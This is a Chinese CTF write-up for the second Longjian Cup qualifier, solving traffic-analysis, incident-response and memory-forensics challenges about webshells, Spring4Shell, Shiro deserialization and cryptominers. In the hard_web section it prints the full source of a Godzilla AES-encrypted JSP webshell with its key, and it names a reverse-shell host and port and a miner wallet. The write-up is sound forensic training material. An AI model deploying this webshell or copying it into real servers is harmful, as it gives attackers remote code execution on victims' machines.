第二届陇剑杯初赛学习WP
第二届陇剑杯初赛学习WP
hard_web
题目1开放端口:
服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
首先确定哪一个ip为服务器ip
服务器ip具有一下特征
- 打开 会话列表,按字节数排序,找到流量最大的IP对。大概率包含服务器。
- 对流量最大的IP对应用 端口过滤器(如
tcp.port == 80
),确认服务器身份。 - 回到会话列表,按数据包数量排序,找到包数量异常多但数据量可能不大的IP,它很可能是攻击者。
- 对该可疑IP的通信 Follow TCP Stream,查看内容确认是否为攻击行为。
- 必要时使用 错误过滤器(
http.response.code >= 400
)辅助验证。
这里我们直接使用端口过滤
tcp.port == 80
可以看到服务器的ip应该为192.168.162.180
当服务器对应的端口打开时,会进行三次握手阶段
所以我们知道服务器监听一个端口的时候会给客户端返回一个
SYN=1,ACK=1
的包,筛选这个流量即可这里我们也知道了客户端的ip为192.168.162.188,开放的端口为80,888,8888
即flag为80,888,8888
题目2服务器根目录中的flag
题目:
找到服务器中根目录中的flag
通过上一道题我们已经知道了服务器的ip为192.168.162.180,那我们直接筛选该ip的http协议
通过前面的http流量也可以分辨出,该客户端先进行了网站目录扫描
找到响应码返回200的,追踪http流量进行查看
可以看到命令执行成功回显,接着查看流量,可以发现shell.jsp
查看流量,可以查看到木马的主体
这是哥斯拉的jsp木马,采用的aes加密,(直接丢给ai也能分析)
定位到最后一个流量通信,导出为hexStream
用cyberchef解密,哥斯拉的jsp木马采用aes的ECB加密
请求:
响应:
成功拿到flag
flag{9236b29d-5488-41e6-a04b-53b0d8276542}
题目3webshell密码
题目:
该webshell的连接密码是多少?
回到之前拿到的shell主体
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
分析一下代码即可拿到加密密码
748007e861908c03
解密一下即可拿到webshell的密码
14mk3y
Server_save
题目1黑客使用什么漏洞拿下root权限的
题目:
黑客使用什么漏洞拿下root权限的
首先打开final的pcap包看一下
发现大量基于helloworld的目录扫描请求,那就往下滑,锁定到了第一次开始响应200的流量
追踪http流量看一眼
这里直接网上搜流量特征
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_
和spring有关的CVE,或者直接丢给ai,马上出结果成功拿到CVE编号
CVE-2022-22965
题目2黑客反弹shell的ip和端口
题目:
黑客反弹shell的ip和端口是什么?
接着上面往下看,可以发现他下载了一个可执行脚本,猜测是反弹shell程序
追踪http数据看一眼

可以看到这是一个bash的反弹shell,(后面还用python做了一个伪终端)成功拿到反弹shell的ip和端口
ip:195.168.43.128
port:2333
题目3黑客的病毒名
题目:
黑客的病毒名称是什么?
首先解压do.tar,还原用户的目录(不如palu杯给一个vmware镜像)
检查必要流程,history、passwd、log,先看root的history
什么都没有,再看passwd
这就明显不对劲了,有两个非root用户,但是拥有root权限,去home目录下查看这两人的目录
home目录下面只有guest,那就先查看guest,发现guest下面有一个main程序,还有隐藏文件夹,打开看看
熟悉挖矿的就不用多说了,挖矿程序大多都以Miner结尾,都丢给微步看一下
-
成功拿到病毒名
main
题目4黑客创建了什么用户
题目:
黑客的病毒运行之后创建了什么用户
那还是回到我们上一题的passwd文件查看,可以看到是有两个可疑用户的,接着我们去shadow文件查看加密密码
直接拿到ll的密码123456,这个能出明文也是6,估计是赛方直接修改shadow文件的
123456
题目5服务器在被入侵时外网ip
题目:
服务器在被入侵时外网ip是多少?
按照思路来,history、passwd、后面紧跟着就是log了
guest目录下的.log文件

成功拿到ip
172.105.202.239
题目6病毒运行之后释放文件
题目:
病毒运行之后释放了什么文件
直接看微步的分析报告mian样本报告-微步在线云沙箱
可以知道释放了.idea隐藏目录下的两个文件

lolMiner miner_doge.sh
题目7矿池地址
题目:
矿池地址是什么
查看sh的执行文件

成功拿到矿池地址
doge.millpools.cc:5567
题目8黑客的钱包地址
题目:
黑客的钱包地址
还是上面那个图,wallet就是钱包地址
DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker
WireShark
题目1被入侵的主机ip
题目:
被入侵的主机ip是?
telnet协议传输数据,这里就两个ip,192.168.246.28是服务端,192.168.246.1是客户端
所以被入侵的就是服务端
192.168.246.28
题目2被入侵的主机口令
题目:
被入侵的主机口令是?
追踪数据流看一下

成功拿到password
youcannevergetthis
题目3用户目录下第二个文件夹名
题目:
用户目录下第二个文件夹名称是?

还是追踪数据流,可以看到
第二个文件目录是Downloads
Downloads
题目4/etc/passwd倒数第二个用户名
题目:
/etc/passwd倒数第二个用户名是什么?
还是追踪数据流

成功拿到用户名
mysql
IncidentResponse
题目1挖矿程序所在路径
题目:
你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
挖矿程序所在路径?
首先如果电脑在挖矿的话,cpu是跑满的,所以首先用top看一下cpu
罕见的没怎么跑,那就依然是三件套,history、passwd、log
发现root目录下面有.viminfo文件
查找以后发现进行多次redis操作
查看redis的配置文件,发现有矿池钱包
把redis的服务程序提交给微步进行分析样本报告-微步在线云沙箱
成功找到Xminer的挖矿程序
看来是把挖矿程序伪装成了redis
echo -n ‘/etc/redis/redis-server’ | md5sum | cut -d ‘’ -f1
6f72038a870f05cbf923633066e48881
题目2矿池域名
题目:
挖矿程序连接的矿池域名是什么?
还是回到redis的配置文件(redis,conf),成功拿到矿池域名
echo -n ‘donate.v2.xmrig.com’ | md5sum | cut -d ‘’ -f1
3fca20bb92d0ed67714e68704a0a4503
题目3攻击者的利用方式
题目:
攻击者入侵服务器的利用的方法是什么?
因为根据题目描述公司通过访问恶意域名而被挖矿,来到home/app/nohup.log下面,直接丢给ai分析这个日志

成功拿到攻击方式,shiro的反序列化
echo -n ‘shirodeserialization’ | md5sum | cut -d ‘’ -f1
3ee726cb32f87a15d22fe55fa04c4dcd
题目4攻击者的ip
题目:
攻击者的ip是什么?
首先排查登录日志
成功锁定到了81.70.166.3这个ip
然后查看nginx日志
也是这个ip
echo -n ‘81.70.166.3’ | md5sum | cut -d ‘’ -f1
c76b4b1a5e8c9e7751af4684c6a8b2c9
题目5攻击者发起攻击时的UA
题目:
攻击者发起攻击时的user-agent是多少?
攻击成功明显就是200的状态码
筛选200状态码,拿到UA
echo -n ‘mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)’ | md5sum | cut -d ‘’ -f1
6ba8458f11f4044cce7a621c085bb3c6
题目6攻击者使用的权限维持手段
题目:
攻击者使用了两种权限维持手段,相应的路径是?
- 第一个就是我们上面的redis伪装
- 我们首先排查redis的服务
- 锁定redis的路径,
/lib/systemd/system/redis.service
echo -n ‘/lib/systemd/system/redis.service’ | md5sum | cut -d ‘’ -f1
b2c5af8ce08753894540331e5a947d35
题目7第二种权限维持手段
题目:
攻击者使用了两种权限维持手段,相应的路径是?
权限维持排查的手段,其中一种就是ssh手段伪装,攻击者通过在服务器放置公钥文件,客户端放置私钥文件,可以直接ssh连接
这里我们首先排查root目录下的.ssh
root@kali,如果采用ssh密钥对权限维持,最后部分就是user@attachermachine
echo -n ‘/root/.ssh/authorized_keys’ | md5sum | cut -d ‘’ -f1
a1fa1b5aeb1f97340032971c342c4258
SmallSword
题目1连接蚁剑的密码
题目:
连接蚁剑的密码是?
清楚蚁剑默认是通过明文传输而且标志十分明显、
首先筛选http协议
熟悉sqli注入和php伪协议的应该一眼顶针
追踪数据流
url解码或者丢给ai
6ea280898e404bfabd0ebb702327b18f
题目2攻击者留存的值
题目:
攻击者留存的值是
依然是翻找蚁剑的操作
找到留存信息,这个蚁剑流量的作用是查看hacker.txt
但是这个格式不对,说明后面可能修改了hacker.txt,接着往后面翻,找到了
作用是文件写入操作,目的是将字符串base64编码的字符串解码之后写入到 hacker.txt
文件中。
解码之后得到
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
题目3攻击者的flag
题目:
攻击者下载到的flag是
前面流量包分析有一个是下载了huorong.exe的流量
这个操作就是下载或者运行了hongrong.exe这个程序
把这个数据流量导出
按照数据大小排序,第一个就是的

导出之后使用010查看,把蚁剑的识别头->|
删去,,保存为exe文件
可以看到还是用pyinstalliner打包的,运行之后会在上一层目录拿到一张图片
修复宽高之后得到flag

flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
ez_web
题目1服务器自带的后门文件
题目:
服务器自带的后门文件是什么?
直接筛选http协议,发现d00r.php文件一直在执行命令
结果不是d00r.php这个文件,那直接查找看有没有什么上传了d00r了
成功找到ViewMore.php上传了这个木马(这里使用wireshark自带的查找或者使用http contains "d00r"
规则查找都行)
ViewMore.php
题目2服务器的内网ip
题目:
服务器的内网ip是多少
192.168.162.130不是题目想要的,那就是攻击者执行了ip之类的命令
成功找到ifconfig命令执行
192.168.101.132
题目3攻击者写入的key
题目:
攻击者往服务器中写入的key是什么?
还是追踪最后部分命令执行的http数据流,成功找到写入文件操作(最后一个流量)
base64解码转16进制
文件头是zip包,用010创建16进制,ctrl+shift+v粘贴保存为zip文件即可
但是zip包被加密了,接着看前面的流量,发现查看passwd
passwd提交解密成功
7d9ddff2-2d67-4eba-9e48-b91c26c42337
baby_forensics
题目1磁盘中的key
题目:
磁盘中的key是多少?
题目给了两个文件,一个是raw文件,一个是vmdk文件,猜测一个是内存文件,一个是虚拟磁盘文件,虚拟磁盘文件被BitLocker锁住了,猜测密码是在raw文件里面
使用axiom直接分析raw文件
直接拿到BitLocker恢复密钥,diskgenius挂载磁盘
里面有一个key.txt,但是内容被加密了
直接把内容放到随波逐流一把梭

成功拿到key
2e803070 85fd2b5c49c968c323ee25d5
题目2电脑中运行的计算器的运行结果
题目:
电脑中正在运行的计算器的运行结果是多少?
内存取证用volatility2
先看内存是什么profile
然后查找计算器的进程
进程图片调出不来,换方法了,把Windows窗口信息调出来
查找calc.exe即可
拿到计算器结果
7598632541
题目3该内存文件的flag
题目:
该内存文件中存在的flag值是多少?
axiom查看到有加密内容文件

文本内容base64解密一下
盐值打头说明是aes加密,接着在内存里面查找key,k3y,passwd,password关键字
导出查看文件
最后aes解密,拿到flag
flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
tcpdump
题目1攻击者的用户名和登录密码
题目:
攻击者通过暴力破解进入了某wiki文档,请给出登录的用户名和密码,以:拼接
攻击者先扫描目录,然后尝试爆破登录,爆破登录的账号是TMjpxFGQwD
发现爆破失败,返回响应的长度为237
那直接修改规则为响应长度不为237即可
http && frame.len!=237
或者根据返回内容筛选
http && http contains “"errCode":200”
成功拿到爆破账号和密码
TMjpxFGQwD:123457
题目2攻击者越权的cookie
题目:
攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值
登录时cookie为accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2
,下面这个时候已经发现越权漏洞了,抓包进行修改id即可查看管理员界面的评论,但是cookie没有修改
这里直接把userid改为2了
那就是这个cookie了
accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
383c74db4e32513daaa1eeb1726d7255
题目3获取攻击者的jdbc的数据库账号密码
题目:
攻击者使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接
先抓到攻击者尝试利用jdbc的反序列化写入shell
后面成功抓到攻击者的shell内容,是一个反弹shell
根据反弹shell,攻击者可能走tcp协议,直接筛选tcp的规则
tcp contains “username” && tcp contains “password”
一眼顶针这个反弹shell的ip,追踪tcp流

成功拿到账号密码
zyplayer:1234567
题目4攻击者执行漏洞的CVE和EXP文件名
题目:
攻击者使用了CVE漏洞攻击应用,执行系统命令,请给出CVE编号以及远程EXP的文件名,使用:拼接
题目3我们已经分析了是利用的jdbc的反序列化写入shell
网上搜索cve和对应的payload即可得到cve编号
cve org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg
CVE-2022-21724:custom.dtd.xml
题目5攻击者下载的工具
题目:
给出攻击者获取系统权限后,下载的工具的名称
直接筛选攻击者的ip
ip.addr ==116.62.63.234 || ip.dst==116.62.63.234
从末尾追踪tcp流,一眼顶针
fscan
hacked
题目1admin用户的密码
题目:
admin用户的密码是什么?
wireshark直接搜索admin
发现加密了,有可能是前端加密,看有没有访问前端页面的,结果第一个就是
前端直接告诉我们了aes的cbc加密,pkcs7填充
flag{WelC0m5_TO_H3re}
题目2app.config[‘SECRET_KEY’]的值
题目:
app.config[‘SECRET_KEY’]的值是多少?
接着往下找,发现一个长度明显不对的
追踪http流看一眼,一眼顶针
ssti_flask_hsfvaldb
题目3flask由哪个用户启动
题目:
flask网站由哪个用户启动
前面一题提示我们是ssti注入,我们观察每个流量细节,cookie都会有明显变化,应该是session伪造的ssti注入,后面观察流量,发现有一个无回显(hello没有接值)
但是有一个set-cookie,明显不对劲,解密request看一下
发现执行了whoami命令,解密respone看一下
成功拿到用户名
red
题目4攻击者写入的内存马
题目:
攻击者写入的内存马的路由名叫什么?
接着往后翻流量,看到长的就解密看一下,这个返回none的就很可疑
解密之后发现写入内存马路由
这里攻击者还访问了一次,测试是否写入成功
Index